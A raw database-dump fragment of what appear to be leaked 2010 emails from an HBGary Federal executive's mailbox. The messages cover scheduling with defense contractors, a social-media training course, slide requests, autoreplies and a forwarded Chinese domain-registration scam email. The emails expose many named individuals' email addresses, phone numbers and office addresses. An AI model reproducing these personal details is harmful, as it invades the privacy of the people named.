&lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;;bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;;coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;;ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA);jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;;kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com&lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com&lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com&lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com&lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;;svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com&lt;zazmi@caci.com&gt; \r\nCc: Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt; \r\nSent: Sat Jun 26 18:47:35 2010Subject: Collaboration Opportunity \r\nLadies &amp; Gents, \r\nThe draft National Strategy for Trusted Identities in Cyberspace was released yesterday by Howard Schmidt (website below). This follows some of the same themes we were discussing at the dinner – that is – trusted transactions over untrusted networks.\r\n \r\nThere is an opportunity for comment by July 19. This is a great  opportunity to test the collaboration I was suggesting at the dinner, and this is indeed an opportunity to use our influence. I would like to put together a response from the ExecutiveBiz Cyber Group if you are willing. When you have a chance to read the document, let’s start some communication. Jennifer is going to get us together for breakfast but we will have to respond to this draft before we can get together.\r\n \r\nhttp://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspace\r\n \r\nThanks,  Bill \r\nL. William VarnerPresident\r\nMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\nEmail: Bill.Varner@Mantech.com\r\n \r\n-- \r\nLance M. CottrellFounder, Chief ScientistAnonymizer Inc.P:  703-592-6772F: 703-563-9471IMPORTANT NOTICE: The information contained in or attached to this  e-mail may be confidential and/or privileged information subject to  \r\nprotection by law or terms of applicable confidentiality agreements,   andis intended only for the use of the individual or entity named   above.Any unauthorized review, use, disclosure or distribution is   prohibited.\r\nIf you are not the intended recipient, please contact the   sender byreply email and destroy all copies of the original message.   The nameAnonymizer is a registered trademark of Anonymizer, Inc. in   the United\r\nStates and other countries. Use of the Anonymizer name or   imagery isstrictly prohibited without the prior written consent of   Anonymizer,Inc. \r\n\r\n\r\n',2621,'aaron_hbgary_com/2621.html'),(8104,'2010-07-01','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006308.M148452P14101Q2959.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Collaboration Opportunity','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Collaboration Opportunity\r\n\r\n\r\n\r\n\r\nI will be out of the office on Thursday, 7/1 and Friday, 7/2, returning on Tuesday, 7/6.&nbsp; For immediate assistance, please contact Dana Briggs at Dana.Briggs@ManTech.com.&nbsp; John Smith is Acting MCTS Director during this time.&nbsp; John can be reached at John.Smith@ManTech.com.&nbsp; Thank you for your email.\r\n\r\nL. William Varner\r\nPresident\r\nMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n\r\n\r\n\r\n',16802,'aaron_hbgary_com/16802.html'),(8105,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006308.M376338P14101Q2960.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>,\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Re: EXTERNAL:Re: Update','ok so should we try to set something up for the week of the 19th of July?\r\n\r\nAaron\r\n\r\nOn Jul 1, 2010, at 9:35 AM, Godwin, Gib (IS) wrote:\r\n\r\n> Our discussion would probably be best, but I\'m out of the office starting Sat for 2 weeks.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 01, 2010 8:42 AM\r\n> To: Godwin, Gib (IS)\r\n> Cc: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Re: Update\r\n> \r\n> Gib,\r\n> \r\n> The training course won\'t be fully done for a few weeks.  So depends\r\n> on what you want.  If you want to attend the course I would say we are\r\n> at least a month off (filling seats, etc.) and I can let you know when\r\n> the first course will be.\r\n> \r\n> If you want to have a discussion about the material, our approach,\r\n> potential for wrapping it inside of a larger offering you might have.\r\n> We could do that as soon as next week if you want.  I can give you a\r\n> real good feel for what will be in the course.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\"  wrote:\r\n> \r\n>> When are you going to give that social media session so I can get a look at\r\n>> what you say.\r\n>> Gib\r\n>> \r\n>> JB Godwin III\r\n>> Northrop Grumman, Information Systems\r\n>> Defense Systems Division\r\n>> Vice President, Cybersecurity and Systems Integration\r\n>> 2340 Dulles Corner Blvd\r\n>> Herndon, VA 20171\r\n>> \r\n>> (o) 703.561.4610\r\n>> (m)703.201.2543\r\n>> james.godwin@ngc.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 30, 2010 11:01 AM\r\n>> To: Shows, Bob (IS)\r\n>> Cc: Godwin, Gib (IS)\r\n>> Subject: Update\r\n>> \r\n>> Hi Bob,\r\n>> \r\n>> Checking in to see how things are going and give you an update on our\r\n>> capabilities.  See attached datasheet on our general information security\r\n>> services offerings.\r\n>> \r\n>> Where I have been focused recently is on social media.  With the recent DoD\r\n>> directive that open .mil to social media access there seems to be a lot of\r\n>> anxiety, and there should be.  I gave a presentation a few weeks ago at the\r\n>> NSA REBL conference on Social Media, Exploitation and Persistent Internet\r\n>> Operations.  I was flooded with questions and was told it was one of the\r\n>> highlights of the conference by the conference coordinator.\r\n>> \r\n>> We are in the process of developing a 1 day Social Media training course to\r\n>> familiarize organizations with the social media landscape, uses, risks, use\r\n>> cases, and information monitoring techniques.  We are also talking with a\r\n>> few red teams on helping them develop social media capabilities in their Red\r\n>> Team engagements.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2048,'aaron_hbgary_com/2048.html'),(8106,'2010-07-01','postmaster@local-mailhost.sra.com','/aaron@hbgary.com/new/1297006308.M748675P14101Q2961.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','This is an automatically generated Delivery Status Notification.\r\n\r\nDelivery to the following recipients failed.\r\n\r\n       pat.burke@sra.com\r\n\r\n\r\n\r\n',8950,'aaron_hbgary_com/8950.html'),(8107,'2010-07-01','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006309.M12042P14101Q2962.eml','aaron@hbgary.com','Courses Which Support DoD Directive 8570.1 IA Certification Requirements','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n          \r\n          \r\n  650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n\r\n    This course provides an understanding of defense-in-depth and the Information Assurance Technical Framework  in network-centric operations. It focuses primarily on computer network defense methods to enhance the student\'s  ability to serve as an IA professional in their organization.\r\n    382 (ISC) 2 DoD CAP - Certification and Accreditation Professionals;  July 27 - 29.\r\n    CAP - This course is designed to provide INFOSEC professionals with a comprehensive understanding and working knowledge of the Federal Information Systems Certification and Accreditation (C&amp;A) Process. This course will provide an overview of current policy, laws, and guidance, definitions and terms, and the evolution of information system security. The credential applies to professionals responsible for formalizing processes used to assess risk and establish security requirements, as well as ensure information systems possess security commensurate with the level of exposure to potential risk.\r\n    381 CompTIA Security+ (2008) Edition Certification Course; NEW DATE Aug. 2-5.\r\n    EXAM on Aug. 6.\r\n    See separate registration and tuition for the exam at&nbsp; Comp TIA Security+ EXAM Registration\r\n     Security+ - The CompTIA Security+ certification designates knowledgeable professionals in the field of security, one of the fastest-growing fields in IT. CompTIA Security+ is an international, vendor-neutral certification that proves competency in system security, network infrastructure, access control and organizational security. Those professionals who successfully obtain the CompTIA Security+ certification have demonstrated the aptitude and ability to master such knowledge areas as: general security concepts, communications security, infrastructure security, basics of cryptography, and operational/organizational security. \r\n    Other courses offered in July and August: \r\n 387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n701 Introduction to Electromagnetic Compatibility; Aug 23, Herndon, VA \r\n705 Shielded Enclosures; Aug 24, Herndon VA. \r\n706 Shielding Effectiveness Testing;&nbsp; Aug 25-26, Herndon VA.\r\n707 Construction of Electromagnetically Shielded Enclosures; Aug 27, Herndon VA.&nbsp;\r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\n_____________________________________________________________________\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',16405,'aaron_hbgary_com/16405.html'),(8108,'2010-07-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006319.M285664P14101Q2963.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','RE: Accenture','Aaron,\r\n\r\nHere is a slide deck.  Lots of slides, but lately I\'ve hidden all but about\r\n10.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 9:58 AM\r\nTo: Penny Leavy\r\nCc: Ted Vera; Greg Hoglund; Bob Slapnik\r\nSubject: Accenture\r\n\r\nJust got off the phone with rich.  They are looking for 4 slides:\r\n1. About HBGary\r\n2. How does ddna work and catch 0 days\r\n3. How will it integrate with blockhouse\r\n\r\nThey are developing this proposal to pitch to governments to fund.  My\r\nopinion on likelihood of success - low.  Most big contractors are\r\nfunding something similar on their own dime.  We are being integrated\r\nas part of Northrops project as well.\r\n\r\nDo you have existing slides?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 07/01/10\r\n02:35:00\r\n',10765,'aaron_hbgary_com/10765.html'),(8109,'2010-07-01','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006320.M23844P14101Q2964.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Sounds like what I am about to do on my back porch - I have a white \r\npaper to write for a proposal...\r\n\r\nI\'ve got a bunch of pockets of time next week.  Most of the mornings \r\nhave free time available.\r\n\r\nDavid\r\n\r\nOn 7/1/2010 10:01 AM, Aaron Barr wrote:\r\n> Hey Dave,\r\n>\r\n> I am sitting in a coffee shop working on material all day.  In\r\n> Georgetown at the moment.  If today doesn\'t work out maybe early next\r\n> week?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 30, 2010, at 9:56 AM, David Etue  wrote:\r\n>\r\n>    \r\n>> Even more interesting :)\r\n>>\r\n>> My week ended up pretty crazy, as my last day at Fidelis is today.  I\'ve do have some time tomorrow morning if you want to catch up.  I also could do tomorrow afternoon, but it would need to be at my house in Arlington while I wait for comcast to come fix my cable modem (for the fourth time...)  Friday I need to be up in Baltimore area for most of the day, and then we are having a casual BBQ on Friday night (which we\'d be happy to have you and your family come by!)\r\n>>\r\n>> David\r\n>>\r\n>> On 6/30/2010 9:45 AM, Aaron Barr wrote:\r\n>>      \r\n>>> yep.\r\n>>>\r\n>>> On Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n>>>\r\n>>>\r\n>>>        \r\n>>>> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n>>>>\r\n>>>>\r\n>>>> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>>>>\r\n>>>>          \r\n>>>>> Dave,\r\n>>>>>\r\n>>>>> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>>>>>\r\n>>>>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>            \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>        \r\n',3680,'aaron_hbgary_com/3680.html'),(8110,'2010-07-01','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006320.M564543P14101Q2965.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Update','We\'ll have to fit it as I\'ve got a few mandatory events but there are\r\nwindows. AM or PM on the 19th and same on the 20th. 23rd might work too.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 10:27 AM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: Re: EXTERNAL:Re: Update\r\n\r\nok so should we try to set something up for the week of the 19th of July?\r\n\r\nAaron\r\n\r\nOn Jul 1, 2010, at 9:35 AM, Godwin, Gib (IS) wrote:\r\n\r\n> Our discussion would probably be best, but I\'m out of the office starting\r\nSat for 2 weeks.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 01, 2010 8:42 AM\r\n> To: Godwin, Gib (IS)\r\n> Cc: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Re: Update\r\n> \r\n> Gib,\r\n> \r\n> The training course won\'t be fully done for a few weeks.  So depends\r\n> on what you want.  If you want to attend the course I would say we are\r\n> at least a month off (filling seats, etc.) and I can let you know when\r\n> the first course will be.\r\n> \r\n> If you want to have a discussion about the material, our approach,\r\n> potential for wrapping it inside of a larger offering you might have.\r\n> We could do that as soon as next week if you want.  I can give you a\r\n> real good feel for what will be in the course.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\" \r\nwrote:\r\n> \r\n>> When are you going to give that social media session so I can get a look\r\nat\r\n>> what you say.\r\n>> Gib\r\n>> \r\n>> JB Godwin III\r\n>> Northrop Grumman, Information Systems\r\n>> Defense Systems Division\r\n>> Vice President, Cybersecurity and Systems Integration\r\n>> 2340 Dulles Corner Blvd\r\n>> Herndon, VA 20171\r\n>> \r\n>> (o) 703.561.4610\r\n>> (m)703.201.2543\r\n>> james.godwin@ngc.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 30, 2010 11:01 AM\r\n>> To: Shows, Bob (IS)\r\n>> Cc: Godwin, Gib (IS)\r\n>> Subject: Update\r\n>> \r\n>> Hi Bob,\r\n>> \r\n>> Checking in to see how things are going and give you an update on our\r\n>> capabilities.  See attached datasheet on our general information security\r\n>> services offerings.\r\n>> \r\n>> Where I have been focused recently is on social media.  With the recent\r\nDoD\r\n>> directive that open .mil to social media access there seems to be a lot\r\nof\r\n>> anxiety, and there should be.  I gave a presentation a few weeks ago at\r\nthe\r\n>> NSA REBL conference on Social Media, Exploitation and Persistent Internet\r\n>> Operations.  I was flooded with questions and was told it was one of the\r\n>> highlights of the conference by the conference coordinator.\r\n>> \r\n>> We are in the process of developing a 1 day Social Media training course\r\nto\r\n>> familiarize organizations with the social media landscape, uses, risks,\r\nuse\r\n>> cases, and information monitoring techniques.  We are also talking with a\r\n>> few red teams on helping them develop social media capabilities in their\r\nRed\r\n>> Team engagements.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15830,'aaron_hbgary_com/15830.html'),(8111,'2010-07-01','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006320.M794128P14101Q2966.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','not sure if this sent before, internet cnx died right as I hit send...\r\n\r\n-------------\r\n\r\nSounds like what I am about to do on my back porch - I have a white \r\npaper to write for a proposal...\r\n\r\nI\'ve got a bunch of pockets of time next week.  Most of the mornings \r\nhave free time available.\r\n\r\nDavid\r\n\r\n\r\nOn 7/1/2010 10:01 AM, Aaron Barr wrote:\r\n> Hey Dave,\r\n>\r\n> I am sitting in a coffee shop working on material all day.  In\r\n> Georgetown at the moment.  If today doesn\'t work out maybe early next\r\n> week?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 30, 2010, at 9:56 AM, David Etue  wrote:\r\n>\r\n>    \r\n>> Even more interesting :)\r\n>>\r\n>> My week ended up pretty crazy, as my last day at Fidelis is today.  I\'ve do have some time tomorrow morning if you want to catch up.  I also could do tomorrow afternoon, but it would need to be at my house in Arlington while I wait for comcast to come fix my cable modem (for the fourth time...)  Friday I need to be up in Baltimore area for most of the day, and then we are having a casual BBQ on Friday night (which we\'d be happy to have you and your family come by!)\r\n>>\r\n>> David\r\n>>\r\n>> On 6/30/2010 9:45 AM, Aaron Barr wrote:\r\n>>      \r\n>>> yep.\r\n>>>\r\n>>> On Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n>>>\r\n>>>\r\n>>>        \r\n>>>> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n>>>>\r\n>>>>\r\n>>>> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>>>>\r\n>>>>          \r\n>>>>> Dave,\r\n>>>>>\r\n>>>>> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>>>>>\r\n>>>>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>            \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>        \r\n',8099,'aaron_hbgary_com/8099.html'),(8112,'2010-07-01','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297006321.M260673P14101Q2968.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>,Aaron@hbgary.com,\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Re: EXTERNAL:Re: Update','I\'m available 3rd week of July--a Tues-Thurs window works for me.  Standing by availability of all.  Bob\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Godwin, Gib (IS)\r\nTo: \'Aaron Barr\' \r\nCc: Shows, Bob (IS)\r\nSent: Thu Jul 01 08:35:53 2010\r\nSubject: RE: EXTERNAL:Re: Update\r\n\r\nOur discussion would probably be best, but I\'m out of the office starting Sat for 2 weeks.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 8:42 AM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: EXTERNAL:Re: Update\r\n\r\nGib,\r\n\r\nThe training course won\'t be fully done for a few weeks.  So depends\r\non what you want.  If you want to attend the course I would say we are\r\nat least a month off (filling seats, etc.) and I can let you know when\r\nthe first course will be.\r\n\r\nIf you want to have a discussion about the material, our approach,\r\npotential for wrapping it inside of a larger offering you might have.\r\nWe could do that as soon as next week if you want.  I can give you a\r\nreal good feel for what will be in the course.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> When are you going to give that social media session so I can get a look at\r\n> what you say.\r\n> Gib\r\n>\r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>\r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 30, 2010 11:01 AM\r\n> To: Shows, Bob (IS)\r\n> Cc: Godwin, Gib (IS)\r\n> Subject: Update\r\n>\r\n> Hi Bob,\r\n>\r\n> Checking in to see how things are going and give you an update on our\r\n> capabilities.  See attached datasheet on our general information security\r\n> services offerings.\r\n>\r\n> Where I have been focused recently is on social media.  With the recent DoD\r\n> directive that open .mil to social media access there seems to be a lot of\r\n> anxiety, and there should be.  I gave a presentation a few weeks ago at the\r\n> NSA REBL conference on Social Media, Exploitation and Persistent Internet\r\n> Operations.  I was flooded with questions and was told it was one of the\r\n> highlights of the conference by the conference coordinator.\r\n>\r\n> We are in the process of developing a 1 day Social Media training course to\r\n> familiarize organizations with the social media landscape, uses, risks, use\r\n> cases, and information monitoring techniques.  We are also talking with a\r\n> few red teams on helping them develop social media capabilities in their Red\r\n> Team engagements.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',8483,'aaron_hbgary_com/8483.html'),(8113,'2010-07-01','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297006321.M28733P14101Q2967.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Update','Great to hear from you--I brag about your efforts often.  Cyber across\r\nNGC is evolving in different ways.  The money just isn\'t there in the\r\nAir Force--our nation cannot agree how to best address.  It may take a\r\nCyber 9-11 to get our attention.  \r\n\r\nI am working closely with Gib on a variety of issues--your social\r\nnetworks program will be something of value that can be used &\r\nleveraged--looking to make that connection soon. \r\n\r\nMy B\'berry dumped many phone numbers, including yours!  Would you please\r\nsend me your work & mobile numbers?\r\n\r\nCheers, \r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 7:42 AM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: EXTERNAL:Re: Update\r\n\r\nGib,\r\n\r\nThe training course won\'t be fully done for a few weeks.  So depends\r\non what you want.  If you want to attend the course I would say we are\r\nat least a month off (filling seats, etc.) and I can let you know when\r\nthe first course will be.\r\n\r\nIf you want to have a discussion about the material, our approach,\r\npotential for wrapping it inside of a larger offering you might have.\r\nWe could do that as soon as next week if you want.  I can give you a\r\nreal good feel for what will be in the course.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\" \r\nwrote:\r\n\r\n> When are you going to give that social media session so I can get a\r\nlook at\r\n> what you say.\r\n> Gib\r\n>\r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>\r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 30, 2010 11:01 AM\r\n> To: Shows, Bob (IS)\r\n> Cc: Godwin, Gib (IS)\r\n> Subject: Update\r\n>\r\n> Hi Bob,\r\n>\r\n> Checking in to see how things are going and give you an update on our\r\n> capabilities.  See attached datasheet on our general information\r\nsecurity\r\n> services offerings.\r\n>\r\n> Where I have been focused recently is on social media.  With the\r\nrecent DoD\r\n> directive that open .mil to social media access there seems to be a\r\nlot of\r\n> anxiety, and there should be.  I gave a presentation a few weeks ago\r\nat the\r\n> NSA REBL conference on Social Media, Exploitation and Persistent\r\nInternet\r\n> Operations.  I was flooded with questions and was told it was one of\r\nthe\r\n> highlights of the conference by the conference coordinator.\r\n>\r\n> We are in the process of developing a 1 day Social Media training\r\ncourse to\r\n> familiarize organizations with the social media landscape, uses,\r\nrisks, use\r\n> cases, and information monitoring techniques.  We are also talking\r\nwith a\r\n> few red teams on helping them develop social media capabilities in\r\ntheir Red\r\n> Team engagements.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',2557,'aaron_hbgary_com/2557.html'),(8114,'2010-07-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006321.M549036P14101Q2969.eml','\"Hoglund Greg\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Fwd: Confirmation of Internet Registration','LolBegin forwarded message:From: &quot;Alan.Yang&quot;&lt;Alan.Yang@dns-yshl.net&gt;\r\nDate: June 30, 2010 9:12:25 PM MDTSubject: Confirmation of Internet RegistrationReply-To: Alan.Yang@dns-yshl.net\r\n\r\n\r\n\r\n(This is very urgent, Please \r\nforward this to your CEO.)\r\n \r\nDear CEO,\r\n \r\nWe are the department of Asian Domain \r\nregistration service in China, have something to confirm with you. We formally \r\nreceived an application on July 1, 2010. one company which self-styled &quot;Modle Investment Co., Ltd&quot; were applying to register&quot;hbgary&quot; as Network Brand and following domain \r\nnames: hbgary.asia     \r\n hbgary.cn     \r\n hbgary.co.in     \r\n hbgary.com.cn     \r\n hbgary.com.hk     \r\n hbgary.com.tw     \r\n hbgary.hk     